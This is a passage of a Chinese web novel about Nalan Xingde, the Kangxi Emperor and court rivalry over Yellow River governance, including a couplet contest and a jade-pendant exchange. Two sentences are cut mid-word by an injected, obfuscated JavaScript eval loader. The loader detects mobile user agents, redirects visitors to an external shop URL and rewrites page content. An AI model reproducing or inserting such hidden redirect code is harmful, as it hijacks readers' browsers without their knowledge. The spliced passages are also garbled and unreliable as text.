“宛卿你撞了我,可是分了我的一半知识去?”公子温润看她,然后又朗朗而笑,“至于造势嘛,也许只是我一时的心情抒发,当不得真。到时候,阿玛和徐先生都看得出来,只当容若放肆狂歌了一回就好。” “那别人可真当公子是喜不自胜了,没准还能猜测公子在梦中也呓语一番:我真的有位好老师啦!” “糟糕,连我自己都想笑我自己了怎么办?” “公子笑颜天下最佳。公子若笑,我就一情一景地全部记下。” 回到当下,沈宛只听见—— 徐乾学玩味似的道:“鳌拜死了,死的不明不白,康熙皇帝禁议此事。后来,朝议的重心转移到了治理黄河的话题上,权臣明珠和廉吏于成龙成了焦点。” 宋应星问:“明珠懂得经营人情世故,于成龙做事一根筋,所以这费人又费力的治理黄河之事呀,还得是明珠举荐的官僚才做得来。于成龙杠什么呢?有什么可杠的?” 徐乾学饮茶,“还不是因为一个‘钱’字吗?于成龙想要黄河修的好,又不愿朝廷多费银子,所以才说明珠之举不妥。” “天子怎么处理?” “康熙看着像是信任明珠多一些,罚了于成龙掌嘴二十。” “于成龙那种脾气的廉吏怎么吞的下这口气?”徐乾学露出真假难辨的惋惜表情,“可怜了贵公子纳兰性德,慈悲而敏感,这会肯定是帮着明珠对付于成龙。” “照你的意思,”宋应星颇感兴趣,“于成龙现在是跟索额图索党结盟了?” “不能说是结盟,只是跟索党之人一起,有了同样要对付的人而已。”徐乾学把空茶杯放下,“但是明珠父子也不是省油的灯,定是能够拿下黄河治理的派任官员的主动权。” 宋应星用眼神暗示沈宛:给徐先生把茶满上。 徐乾学忽然摇头叹道:“徐某真是惭愧,近日拜读了纳兰性德给自家的藏书阁‘穴砚斋’写的新楹联,佩服的无言以对,恨不得将我自己老家的‘传是楼’的楹联也求了他去题字。” “你求他做什么?”宋应星大笑,“他马上就要进入国子监读书,科举之后你必将成为他的老师,对他岂非取之不尽?” “可不能随便掏空纳兰性德。”徐乾学谨慎道,“今日有太医去过养心殿,可以肯定皇上不在,那太医就是去瞧贵公子的,谁知道贵公子惹了什么病?过后倒是看似无恙地走出皇宫了。” 沈宛心中一紧,正在倒茶的茶壶嘴磕碰到了宋应星的杯子,发出一声冷响。 “真是失礼!”宋应星责备道。 “求师傅原谅,请徐先生不怪。”沈宛慌忙道歉。 沈宛照着宋应星的责令,站到了一边。 “三日后是纳兰性德的生日,宋公你说他敢病吗?”徐乾学带着看戏似的口吻,“他即便是撑不住,明珠也能叫郎中给他儿子灌一碗回魂汤下去。” “我在密林之中什么都不知道。”宋应星故意道,“徐先生你看,明府现在是什么情况?” “就是寻常模样,纳兰性德不爱排场,所以没有什么生贺之前的预热场子,真正的热闹要是生日当天才开始。宾客和贺礼自然是不会断,纳兰性德本人也懂得控场和有序应对客源客礼。”徐乾学一笑,“毕竟他的生日不叫生日,而叫交易日。” “徐先生,你这话说的恰当。不知今年皇上会不会亲自去贺?” “就算是皇上想去,怕是太皇太后也不许。”徐乾学晃了晃杯中茶,“否则从‘陪臣’到‘宠臣’,这名声多难听,纳兰性德承受不了。” “没变‘佞臣’算好。” 宋应星和徐乾学竟然不约而同地笑了起来。 笑声令沈宛觉得寒意重重。 等到徐乾学离开和宋应星就寝,已经是夜幕最深的时候了。 沈宛来到露天的庭院中。 拿着纳兰公子给的菩提子站在月下看: 公子是个好人,人温心善,般若至真。 公子不该无端端着了病才是,上天不该在生日之前这般对他。 * 次日,沈宛来到“庄周梦蝶”字画店。 她看见—— 店里围着好多人,周老板正绘声绘色地描述: “各位,这上联是纳兰公子的亲笔,公子本人说了,谁要是对的好、对的最合他心意,那他会亲自绘画题诗为酬。公子的酬礼,可是价值千金啊!” 趁着空闲,周老板主动告知:“宛姑娘不知道,昨日纳兰公子来过,带了一只凤梨来,像是想跟你一起吃。” 沈宛心中欢喜,“他把凤梨留下了吗?” “宛姑娘说的不错,公子正是留下了凤梨,说如果你来了就把凤梨给你。” “真希望公子早些好起来。” “宛姑娘说什么胡话?公子怎么会病倒?”周老板笑了,“宛姑娘应该是想说‘真希望公子再来’吧?” “我只听说公子在宫中给皇上做事的时候,就有御医去瞧过了,所以我担心。” “公子倒是对我说了累,然后就提前回去了,一幅画没看,一件器物未赏。” “你说我现在去明府合适吗?” “怕是不合适。” “也是。”沈宛拨了拨凤梨的叶子,“可是——” “宛姑娘要是放心不下公子,远远地潜看一下明府的情况不就好了?” “不当面看容若,跟没去看容若有什么区别?” “宛姑娘,你是不是第一次叫了公子的名字?” “是……是吗?我自己都没发觉。” * 明府。 明珠对着几个御医气道:“公子要是不醒,本官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552663|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看你们也不用醒了!” 御医们诚惶诚恐地医治公子,一点不敢掉以轻心,终于有人给明珠回了话:“只恐是皇上亲政登临太和殿之日,公子站在外头吹了风,才有了今日的后发之症。” 明珠扼腕叹息:“容若自小练习骑射,懂得功夫也懂得兵书韬略,身体体质怎么会这么差?” 御医伏地道:“公子熬过冬春两季就无碍了。” “总不能叫他熬一辈子吧!” “臣等无能,请明珠大人恕罪。” “罢了!”明珠叮嘱道,“容若病了的事,不许往外说。” 御医们听了命,继续各司其职去了。 明珠大人口中“不可外扬”四个字的意思,不正是说:纳兰公子不醒,御医们别指望能走出明府吗?即便是纳兰公子醒了,也不许提及近日之事。 明珠自己进屋换了朝服,复回到容若的房间,道:“夫人,惠儿,你们好好照顾容若,我要进宫去见皇上。” “老爷。”觉罗氏叫了一声。 “我要是不早点去,就是辜负了容若的一片孝心。”明珠握了握儿子的手,“唯有先发制人,才能不受制于人。于成龙想要阻拦我明珠举荐治理黄河之人,没门!想要我明珠父子不好过,更没门!” “快去快回,老爷。” “嗯。” * 养心殿。 玄烨一张一张、仔仔细细地圣阅之后,对纳兰性德关于汉诗的满文译文很是满意。 “朕给纳兰自由去选诗和译诗,他可有对朕感激不尽啊?” “回万岁爷,奴才在外头候着,没听见纳兰公子说些高赞您的话。”梁九功回忆道,“反倒是隔窗看见了公子明媚如春的笑容,公子的心情好似畅快的很。” “那就好,算是他知道感恩。”玄烨满意道,“朕就希望纳兰多笑笑。” “奴才多嘴回一声,万岁爷您赏给纳兰公子的凤梨,他也收下了。” “糊涂东西!”顾问行对梁九功训了一声,“万岁爷给纳兰公子东西,只能说‘赐’不能说‘赏’,你要是分不清这君臣情分,就自己出去领了板子。” 梁九功吓的一跪,“奴才知错了!” “这次就算了。”玄烨扬了手叫那太监起来,“下次你再说错,朕就不饶你。” “万岁爷,奴才打听到纳兰公子出了个上联,正在征集下联,截止到他生日为止。”顾问行告诉皇帝,“要是有人对上了,纳兰公子肯用自己的亲笔诗画做酬。” “他生日不是还有两天吗?”玄烨把装着金刚菩提子的盒子挪近到眼前,“不等着别人给他送礼,反过来主动去送自己的诗画出去干什么?” “大抵是想看看:大清到底有没有才华在自己之上的才子吧!” “你说什么?” “奴才是说,纳兰公子就是释放自己的情怀罢了,才肯去悬赏这么一副下联。” “朕来对——” “是。上联是:问纳兰容若词涯羁旅,心事几人知?” 玄烨一挑眉,脱口而出:“看康熙皇帝恩威并施,知己亦难求。” “万岁爷,奴才怎么听着像是绝配一样?” “那是,朕是最了解纳兰的人。”玄烨得意洋洋,“一会朕就去明府问纳兰要酬礼。” “还得是万岁爷您呐!”顾问行夸道,“想必纳兰公子也会深深折服。” “之前纳兰一字一句指导朕写‘岁末把笔’,等会儿朕就一笔一墨吩咐他这酬礼诗画该怎么作。”玄烨带着强烈自尊,“这叫君臣之间扯平了,朕可没有强要纳兰的墨宝或是为难他。” * 忽然有统卫进来:“启禀皇上,明珠大人求见。” 玄烨马上叫顾问行收起了自己要送给纳兰容若的菩提盒子,道:“叫明珠进来。” “臣明珠参见皇上,吾皇万岁万岁万万岁!” “免礼,明珠大人何事见朕?” “容若写了半句词:十八年来堕世间,吹花嚼蕊弄冰弦。臣不知道是该夸还是该打,特意来找皇上拿主意。” “怎么?一句话,就值得明珠大人动家法吗?” “这句词要是传出去,不知道还以为是容若在幻想卢氏姑娘的美貌和才艺,岂非轻狂?太皇太后想把卢氏姑娘指给容若,也不过就是随口一说,当不得真。容若要是有时间浪费在写这句没用的东西上面,还不如进宫来陪皇上当差。” “明珠,朕知道你的意思了。你先到旁边的侧阁去候着,朕一会儿再传你。” “臣遵命。” 明珠走后,梁九功大胆道:“万岁爷,奴才虽然没有读过什么书,但也明白纳兰公子的这半句词是什么意思。” “哦?”玄烨笑了,“那你说给朕听。” “卢氏姑娘年方十八,多才多艺,会弹琵琶。纳兰公子怕是真的对人家有好感,才会有此念想幻想,太皇太后的眼光向来不错,是一双对的人儿。” “你以为纳兰喜欢卢氏?” “难道不是吗?” “你错了!”玄烨大声道,“朕的纳兰,没有那么肤浅!” 皇……皇上的纳兰? 梁九功被皇上的声音吓的一跪。 “求万岁爷明示——” 【注1】孝庄有意将卢氏指给纳兰,见第34章 44.第44章 玄烨亲自提笔,写下了纳兰的半句词,也写下了另一首诗。 十八年来堕世间, 吹花嚼蕊弄冰弦。(纳兰·浣溪纱) 十八年来堕世间, 瑶池归梦碧桃闲。 如何汉殿穿针夜, 又向窗中觑阿环。(李商隐·曼倩辞) “朕知道纳兰喜欢品读李商隐的诗,但是译制成满文的诗却不敢选李商隐,因为他明晓八旗子弟们的性情,读不来这类虚实相生、寓意颇深的诗。” “明珠之所以说容若写的是‘半句词’,那是因为他儿子那第一句话是原原本本照搬了李商隐的《曼倩辞》的句子。李商隐自比来到世间十八年的东方朔(字曼倩),本应宿在不染尘的瑶池,为何要来世上效忠汉武帝?纳兰也是自比东方朔,降生至今,本应在天上的星宫:不食人间烟火、不懂世间情愫,为什么要来到康熙皇帝身边当陪臣?” 梁九功这晌虽然说了不少错话,但是这回倒是把皇上的意思听明白了,也理解透彻了。 只听见他道:“奴才真是该死,只当了爱情诗来看。多亏了万岁爷点拨,奴才才知道,原来纳兰公子的意思是:万岁爷您要是不体谅他的心情,他大概就要离开君侧回天宫去了。” 玄烨点头道:“不错,朕知道纳兰的心情,就是让朕相信他阿玛明珠,不要被于成龙的某些话蛊惑了君心。甚至往深了说,纳兰还暗示朕……” “算了,不说了。” 玄烨忽然打住了话。 “朕现在去明府瞧瞧纳兰,顾总管跟着一起去。梁九功,你去通知明珠,叫他不必骑马而回了,跟着朕的‘圣驾’一起。” 两个太监便是领了皇上的命,各自办事去了。 玄烨背着手走出养心殿,心想: “纳兰你真是有趣的人,表面写‘吹花嚼蕊弄冰弦’,看着像是夸赞卢氏姑娘,实际除了‘瑶池景色’的正确之解,你还在反讽——卢氏姑娘没有丝毫‘才’与‘艺’、压根配不上你吧?不许说朕强词夺理,朕就是知道:卢氏除了温柔贤淑,一无是处,她的的确确配不上才情卓绝的你,所以皇阿奶一说这事,朕就给你挡了!“ “比起‘吹花嚼蕊’的‘风平浪静看飞花’之心和‘反复推敲直到曲成’之意,朕倒是觉得你那‘弄冰弦’三个字刁钻老辣的狠、转折的也够快!你的意思,是叫朕:到了必要之时,就把于成龙革职处死了吧?” ——毕竟“弄冰弦”出典杨玉环。 ——杨玉环的琵琶正是“冰弦”所制,她的结局是死。 所以,你也想借朕之力扳倒你阿玛明珠的政敌于成龙,难道不是吗?朕不许你说不是! * 明府。公子房间。 容若终于醒了,挣扎着坐了起来,惠儿赶紧靠近相扶,用软帕擦了擦表兄的额头。 “说吧——” 容若的声线非常平和,平和的为首的御医能够放下高度紧张感来回话。 那御医描述了一番病情和用药之后,叮嘱道:“公子好生歇息,今明两天调理的好,生日当天定是没问题的。” “惠儿。”容若转头问,“我阿玛呢?” “伯父进宫去见皇上了。”惠儿道,“表兄放心,家里上下都很好。” “阿玛进宫了?那皇上肯定会来,额娘惠儿,快扶我下床更衣,我不能让皇上看出我病了。” 说着,容若已经双腿着地。 觉罗氏和惠儿一左一右扶着,袖云赶紧挑了一套好的冬装出来,为公子换上。又仔细理好衣领、袖口,和把腰间的配饰都装饰好了以后,才对容若道:“公子,这身合适,能遮病容。” “好。”应完,容若看向御医们,“有什么快速回神的汤药,都去拿。” 御医们异口同声:“臣等不敢。” “去。”容若不喜欢下命令,但是当下情形由不得自己。 御医在担忧之间告了退,没一会儿,才端了碗漆黑的汤药进来,捧到容若面前。 “公子,此药叫做:八物回神汤,能让人撑一个时辰。只是药效猛烈,只可饮一次,多饮强撑必伤身,不如卧床歇息为佳,想必皇上来了也不会怪。” “不能病,这个时候我不能病。不能让皇上瞧出我的病容。” 容若拿起药碗,将苦水一口气灌下。 “额娘,惠儿,你们辛苦了,都先回房休息吧!我去正厅等阿玛和皇上。” 觉罗氏问御医:“你们开出的那碗汤,公子饮下一个时辰之后,会怎么样?” 御医道:“药效消失,体乏嗜睡,睡醒后方能解。公子体质偏寒,本是最不宜饮用的,但是公子强求,臣等也只能拿出了将危害性降到最低的方子来熬煮,以求公子轻伤。” 觉罗氏疼爱道:“容若,真困了的时候,就别硬撑着,回来额娘身边睡下。” “是,儿听额娘的。” * 纳兰刚到正门客厅,就听见了两声高喊,分别是:“皇上驾到——”和“明珠大人回府——” 然后,是两张神色合乎预料的脸:高高在上的康熙皇帝、因见儿子精神不错地出现在自己面前而诧异失色的明珠。 玄烨免了纳兰的礼,明珠拉过儿子,关切地问候了一声:“儿啊!” “儿没事,阿玛。” “好,没事就好。”明珠放了手,“皇上来找你,你陪皇上去渌水亭转转。” “朕来讨你的酬礼。”玄烨昂首阔步地走在长廊上,“下联是:叹东方曼倩妙方寻遍,忠骨终不负。” 顾问行惊讶:万岁爷原本对的下联,明明不是这句。 纳兰步履轻快地走在玄烨身边,失笑道:“臣拿什么酬皇上,皇上什么都有。” “朕就是少你,纳兰性德!”玄烨任性道,“你的才情朕可以下令强要,唯独你的心志朕只能偶尔凌驾。” “那臣谢皇上读懂了臣写的半句词。” “你再给朕说出几个处置于成龙的理由来。” “臣绝无因为自己是君侧之臣而自私为父之意,只是有几句肺腑之言想说给皇上听:第一,水至清则无鱼,廉吏之功,应立于基层为先,而非直冲上层;第二,以眼不以心,由此来判断人和事,是官场之大忌,不妥于君前;第三,见地不同,怀恨于心,拖延国之漕运河运大计,是为臣之过,非国库之过。臣说完了,请皇上明鉴。” “朕懂你的意思,你是说:于成龙的骨气和身性固然是可嘉,但是他这人不懂时局、不懂变通,迟早会给自己树敌、给朝廷惹祸。朕知道,你不是为了明珠,才叫朕处置他。” “弄冰弦三个字,皇上是否觉得臣下笔过重?” “在养心殿时,朕觉得是;到了你这渌水亭,跟你走在一起,朕觉得不是。再想想你方才说给朕听的那三点:其一,于成龙不把清正风骨用在为民谋利上,而是直捣官僚塔尖之顶,是为‘眼高手低’之罪;其二,于成龙因个人原因忌惮权臣明珠,就容不下明珠举荐的治水人才,意图扰乱朕的判断,是为‘心胸狭隘’之罪;其三,于成龙只顾节约国库,大骂明珠所言的:下重本治理黄河中段之策,只能说是非经验之谈,而纯粹是廉吏之见,是为‘轻重不分’之罪。” “皇上圣明。”纳兰发自内心高兴道,“能识于成龙人品,能懂明珠赤诚,臣觉得欢喜,大清的天子是位明君。” 纳兰引玄烨到一处适合看风景的地方坐下,二人一起看冬荷。 “你一向喜欢李商隐的诗,”玄烨问,“李商隐写过那么首关于荷花的诗,你最喜欢哪首?留得残荷听雨声?” “不是。”纳兰一边换了自称、一边笑道,“我最爱义山在《碧城·其二》中写的:不逢萧史休回首,对影闻声已可怜。” “你是萧史,但是卢氏姑娘不配做你的弄玉。”【注1】 “朕从皇后口中听得,卢氏姑娘自称世上最悲伤的是一个‘若’字。” “我听了那么多咒我的话,这句倒是第一回。”纳兰神色之间掠过一丝悲伤,“谢皇上告知,我信皇上。” “卢氏不会不知道‘天下的纳兰公子’名叫纳兰容若,还敢说出一个‘若’字来,是想仗着皇阿奶对她的同情,让你来娶她为她悲情伤情一生吗?” “关于她的用意,皇上有皇上的想法。”纳兰捂了捂自己的心脏,“别的话,别的杂念,我没什么好说的。” 纳兰不喜欢在背后议论别人,何况是个素未谋面的女子。 玄烨拍了拍纳兰的肩膀,以示安慰,又问他:“你会什么乐器?” “几乎都不会,实则浅懂,处在矛盾之中。”纳兰有些自嘲,“比如,投石入荷池,听声音,看微澜算成曲吗?” 说罢,纳兰捡起身边的一块小石头子儿,抛向了结冰的池面。 * 有丫鬟端了果盘过来。 顾问行叉了水果切片到玄烨的盘中,道:“万岁爷您看,奴才可不曾骗过您,纳兰公子爱吃的就是凤梨、苹果。” 玄烨问:“你不吃?” 纳兰道:“看着皇上吃,就等于是我也吃过了。” “朕的大好河山征途才刚刚开始,还是要提醒你们父子一句:莫论索额图,于成龙也好、别的官吏也罢,你现在就开始步步为父筹谋的话,是不是嫌早?” “明珠是我阿玛,对我来说,没有过往和嫌早,只有当下。况且,我也不知道自己能活多久。” 玄烨能够体会纳兰的心情,但是不懂该安慰他,还是该鼓励他? 千言万语,就化作一句:“你要是累,朕的肩膀给你。” “皇上。”纳兰的目光变得很真挚,如同站在深渊之中看到了顶端的一束光一般,“如果日后明珠陷入泥潭,可以答应我向明珠伸手拉他一把吗?” “好,朕答应你。” 玄烨并非轻易承诺,而是因为这么求自己的人,是纳兰性德。 所以,没有理由拒绝,也没有说别的话的余地。 “为什么皇上无条件答应?” “朕看你恳切、真挚。” “我不是一贯如此吗?如今跟平时区别大?” “你马上就要长一岁了,哪能没有变化?” “那就借皇上的肩膀一靠。” 纳兰靠着玄烨的肩膀睡了过去。 玄烨弯起嘴角一笑,现在的纳兰,好似完全属于自己了。 ——你的真的相信朕吗?真的相信卢氏姑娘的“最悲一字,是若字”的说法? ——如此朕便放心了,只要你相信朕、依靠朕,那朕永远是你最强的后盾。 玄烨低头一看,发现:纳兰腰间的玉佩的图案,跟他雕刻的蜡烛的图案是一样的。 他笑容莫测,心绪纷繁,用拇指刮了刮那块玉佩,然后把自己的玉佩跟纳兰的玉佩做了交换。 顾问行把一切看在眼,一声不敢制止康熙皇帝的做法: 万岁爷这是应了纳兰公子的诸多要求,太皇太后那边可怎么交待呀? 不,不是,纳兰公子那些不叫“要求”,而是一种说不清道不明的“期盼”,似对非对,似错非错。只有万岁爷才能分得清、辨的明吧? 顾问行打了自己一嘴巴,让自己清醒了一些。然后,他又狠狠地吸了几口冷空气,好让自己彻底不糊涂。 ——回宫之后,自己恐怕是要看一场大变了! 许久。 顾问行才对康 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565434|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熙皇帝做了提醒。 “万岁爷,该回宫了。今夜您跟皇后娘娘要一起到慈宁宫去陪太皇太后用晚膳。” “朕等纳兰睡醒再回。” “奴才请万岁爷恕罪,有一件事瞒着未报。” “说吧,朕恕你无罪。” “梁九功当值的时候,说是有御医去养心殿问诊过纳兰公子,奴才只怕纳兰公子这一睡是病着的缘故,并非冬困。” “朕知道了。回去后你传朕的意思给梁九功:养心殿内,朕不在只有纳兰在的时候,事无巨细,一切以纳兰安好为主。要是纳兰在养心殿有任何闪失,第一个掉脑袋的就是他梁九功,听明白了吗?” “奴才记下了,会好好教导徒弟。” “你去叫明珠夫妇来带纳兰回房,朕这就回宫去。” “是。” * 慈宁宫内。 玄烨赶到的时候,赫舍里皇后已经先一步入席了。 只是,玄烨感觉孝庄神色严肃,有种未开饭之前就要先训话的模样。 请安坐下以后,玄烨看了赫舍里皇后一眼。 赫舍里皇后只用眼神回答:老祖宗心情愠怒,臣妾请皇上好好说话,千万别火上浇油。 孝庄冷道:“咱们的皇上亲政了,主见也越发大了。” 玄烨默默盯着一桌菜,“孙儿不知道皇阿奶的意思。” 孝庄责问:“纳兰要过生日,你是不是看过他的半句词后,便打算将于成龙革职查办?就因为于成龙在朝堂上跟明珠过不去,你就要给纳兰送上这么一份大礼吗?” 玄烨反驳道:“纳兰没对孙儿说过革职于成龙之事,是孙儿自己的主张。” 孝庄戴着金护甲的手拍压在了桌面上,“难道你不是因为他的暗示才这么做的吗?” 玄烨倔强道:“即便是纳兰有暗示之意,孙儿也觉得他暗示的没错。” 孝庄气问:“你是在皇祖母面前承认了纳兰的心思?” 玄烨挺直了腰为自己的陪臣说话: “纳兰没有近水楼台先得月,刻意为明珠铲除异己。他有给朕讲道理,朕觉得他说的三条关于于成龙的不是,都很在理。” “权臣跟廉吏之间的相争相斗,历朝历代都有。先不说他朝史册,皇祖母问问你,因为近臣的一句话或一句暗示,就顺了近臣的心意将廉吏论罪的事情,老汗王努尔哈赤、太宗皇帝皇太极,以及你皇阿玛顺治皇帝做过吗?” 比起回应“没做过”三个字,玄烨正色而出的是:“他们身边没有像纳兰性德那样的陪臣,自然是做不了!” 孝庄气道:“苏嬷嬷,叫人把这桌子饭菜都撤了,再动筷子下去也吃不下!” 赫舍里皇后慌忙起身和劝道:“老祖宗,皇上匆匆而来,未及时理顺脾气也是有的,不如先吃饭,再论对错如何?” 苏麻喇姑亦道:“皇上,你要是真顺了明珠父子的心思,那就是胡闹,现在是你确立皇威的关键时期,不管是惩罚谁、褒奖谁,都要三思或是跟太皇太后商量过后,再付诸实行啊!” 玄烨豁出去一般,把刻有纳兰的名字的玉佩往孝庄面前一放,不容置否道: “朕原本也是以为,纳兰只想借朕之手来为明珠扫除异己,但是在渌水亭跟纳兰聊了之后,才发现他没有那种不正之心。” “纳兰就是很纯粹告诉朕:于成龙的做法和表现哪里不妥,一句没有要求朕要如何处置于成龙、一句没有为明珠讨要利益。如果这样,皇阿奶还是觉得纳兰居心叵测的话,那朕就只好做列祖列宗都没做过的事情了!” “皇上。”赫舍里小心翼翼地叫了一声。 “朕把自己的真心话告诉皇阿奶,没什么好后悔的!” “顾问行!”孝庄指着地板叫总管大太监跪下,“皇帝做出私拿侧臣的玉佩的事情来,你怎么当差的?” “奴才忠心为主,请太皇太后圣鉴。” “当年指了你去皇上身边做近身太监,就是因为你办事得力、了解宫规。没想到皇上反而越来越不知道规矩,还敢把纳兰性德的玉佩放到我面前来!” 顾问行对着孝庄磕了个头,道: “纳兰公子从到皇上身边当陪臣的第一天起,奴才就是看着的,公子当真是个冰清玉洁、璧不染瑕之人,没有动过一丝歪心眼、没有说过一句谁的不是、没有教唆过皇上处置谁。纳兰公子,就跟太皇太后您眼前的玉佩一样啊!” “罢了!”孝庄让苏麻喇姑把玉佩收起,“等纳兰性德过完生日,叫他自己来我慈宁宫问安和拿回玉佩。” “孙儿——” 孙子拿走纳兰的玉佩,是为了向皇阿奶你证明纳兰的清白,没有让皇阿奶代为收着、再让他自取的意思。 “皇上。” 赫舍里拉了拉玄烨的手,最终让玄烨在孝庄面前闭了嘴。 好不容易和和气气地吃完了饭。 赫舍里皇后温婉地看向玄烨,意思是:皇上,臣妾与您一起向太皇太后跪安,然后,您回坤宁宫歇下吧? 却没想到,玄烨就跟压轴反弹了一般,对孝庄道:“纳兰生日当天,孙儿要亲自登明府去贺。” 赫舍里一怔、苏麻喇姑一叹、顾问行一跪。 孝庄没同意也没拒绝,只问:“皇上还有什么要说的?” 玄烨当真就说了自己想说的:“纳兰不能娶卢氏,卢氏配不上他!” “那就让纳兰先娶一个侧室。” “皇阿奶,您说什么?” 【注1】萧史弄玉:萧史和弄玉是一对真正的神仙眷侣,后来人们为了纪念弄玉和萧史的动人故事,就用“龙凤呈祥”来形容夫妻间比翼双飞、恩爱相随、相儒以沫的忠贞爱情。 45.第45章 玄烨坐在养心殿外的菩提树下,头顶有一轮圆月,落雪纷纷可见。 总管大太监顾问行伺候在一边,此刻,大抵是只有他才了解玄烨的烦闷心情。 “万岁爷,您听奴才一句劝,太皇太后虽然没有明确表态,但是纳兰公子的生日您怕是去不得啊!您的心意全在那119颗14瓣的金刚菩提子手串上,奴才代您去送就是。” “就因为朕是皇上,捧场一次臣子的生日就等于偏宠?” “怕是万岁爷您这一出现在纳兰公子的生日宴上,于成龙就能把明珠父子往死里弹劾,也能骂上您几句偏私和昏庸。” “有些廉吏可恨,就可恨在只会‘自以为是’和‘自以为清’,偏偏那些人又能给朝野和百姓留下深刻印象,朕对那些人杀之革之,都会遭天下人口舌。” 玄烨捡起一颗菩提子,话锋一转,“但是朕不怕,不怕试错去任用明珠举荐的治水能人靳辅,也不怕给于成龙一次大惩。朕就要叫满朝上下看看,‘整顿吏治’四个字,朕到底是无心之说,还是用心之行!” “万岁爷说话的样子威风凛凛,真该叫纳兰公子看见。” “明天,你就把朕的警告带到于成龙面前,叫他自己掂量掂量是否知进退。” “请万岁爷的意思,是您根据纳兰公子所言的话,推论出的‘于成龙三大不是’吗?眼高手低、心胸狭隘、轻重不分。” “不错。纳兰慈悲,算是给足了于成龙余地和颜面。要是于成龙愚钝,还敢不做罢休,那就休怪朕亲政之后拿他来做个‘整顿吏治’的先例,该处死处死,该革职革职,该下调下调……看他自己不识趣到哪一步!” * 距离自己的生日还有一天,容若遣了人去把明珠举荐的“治水能人”靳辅请来明府。 正门客厅内,容若握着一盏茶,静心等候。 桌面上摆着一瓶玉兰插花,芬芳宜人。 一花一人,一心一待,一静一如常,仅此而已。明府上下,不设任何台场戏局、更无任何张灯结彩的奢侈布置,就跟是纳兰公子的生日,前前后后也不过是寻常的一天一样。 “奴才靳辅,请纳兰公子安好!” “请坐。”容若礼道,“皇上重视漕运河运,要紧的是保证京师的粮草能够顺利输送到南方,至于皇上在南方有何雄才大略,这个不必我说,你是阿玛的幕僚,必定是懂得阿玛的立场就是支持皇上。” 靳辅道:“奴才不敢辜负明珠大人举荐,深知皇上忌惮三藩已久,必将有所行动,若是奴才治水有功,保证了前线的漕运,那就是脚踏实地为皇上尽忠、为明珠大人效力啊!” “靳辅大人,你是个聪明人。”容若提醒道,“须记着:治水通河,不仅仅是为皇上分忧,也是为天下的百姓立命。水牵系国家安危、粮事关天下安定,这份差事不是一年两年能办出成效的,会耗费五年十年也未可知,你要能在任上熬得下去。不管碰见什么难题,都不要忘记你身后有天子、有纳兰家做后盾。” “是!” “皇上重视治水,不是显摆自己亲政后的丰功伟绩,而是真正的心装苍生,所以你在治水的过程中,切不可以为功绩为名声而行,应该把‘为民办事、为天安民’八个字落到实处。” “奴才记下了!” 容若喝了口茶,继续道:“有个人,我本不想提,但为了阿玛,还是想听听你对他的看法,你直说吧——” “长公子是指于成龙吗?” “直说无妨。” “奴才一直靠自己的本事当官当差,虽追随在明党之下,但也牢记明珠大人的原话:冷暖相依之团可抱,枉法遭损之事不为。所以奴才身上没有什么污点或是把柄落入于成龙手中。” “我听阿玛说,于成龙在治水上有自己的见解,跟靳辅大人你背道而驰,这里面的事关时局的厉害关系,你说给我听。” “是。如长公子所说,河关民、民关天下,这里面涉及到的建筑、民生、国饷皆是事关重大,于成龙非是擅长于此之人,要是让他去治水通河,怕是大清的国计民生会倒退二十年啊!” “靳辅大人是否想过一点?”容若问,“不会的事情可以学,于成龙要是学会了治水的门道,你又该如何应对?” “请长公子明示。” “阿玛举荐你,是为大清举贤;我暗示皇上反思于成龙,是为国不可有‘至清拣名’之吏。所以纳兰父子不怕被人议论公私,即便是后期于成龙真的懂了怎么治水,那靳辅大人你也得看清楚了:是他于成龙的造化,还是为了傲骨而傲骨。” 靳辅离座,谢容若道: “听长公子一席话,奴才如醍醐灌顶。” “至清拣名,意思就是说:所谓的两袖清风,为的是自己的万众敬仰之名,而非刚阿不屈之名;一切的不流合污不过是刻意清高,一切的勤俭廉洁不过是愤世嫉俗,一切的直言敢谏不过是自我高光……于成龙为了给自己长脸、就想方设法打别人的脸,那可是为官的大忌。” 容若起身送客。 至明府外面的阶梯上,容若别道:“靳辅大人,此程赴任,精进、施才、保重。” 靳辅反握着容若的手,含泪感动道:“多谢明珠大人,多谢长公子。奴才粉身碎骨,报国治水,至死无憾!” * 容若转身入府时,听见了一声细小但是……似乎只有自己才听得到和听得清的声音:“纳兰公子。” “宛卿。” 软被拨香玉盏碎,洪崖却错耳边音。 沉睡但失素雕佩,苏醒对月近小楹。 相思来时未有期,谁与辟寒教驻停。 皑皑深雪见玉蝉,渌水归梦付融诺。【注1】 容若带着油然而生的诗意,不管下人们的阻拦,只打了一把挡雪伞就去寻了沈宛。 惠儿心情复杂地看着这一幕,好久,才平复心情。 她对下人们道:“公子外出的事,先不要告知老爷和夫人。即便是公子回来晚了,也只能用‘公子的文友来找、公子应了约’去给老爷和夫人回话,明白了吗?” 在下人们的回应声中,惠儿用手帕揉着眼睛走回了房间。 ——为什么,这么难过? ——这眼泪到底是为谁的流的?为表兄的温润执着而心疼,还是为沈宛的肆无忌惮而恼恨? 容若跟沈宛一起撑着伞,走在长长的街道上。 “宛卿,为什么来见我?” “我来报答公子的凤梨之请。” “好吃吗?” ——不,正常人的反应应该是:不客气或者不用谢。 ——公子的意思,到底是问口感:“凤梨的味道如何?”还是问状态:“凤梨还好不好、能不能吃?” 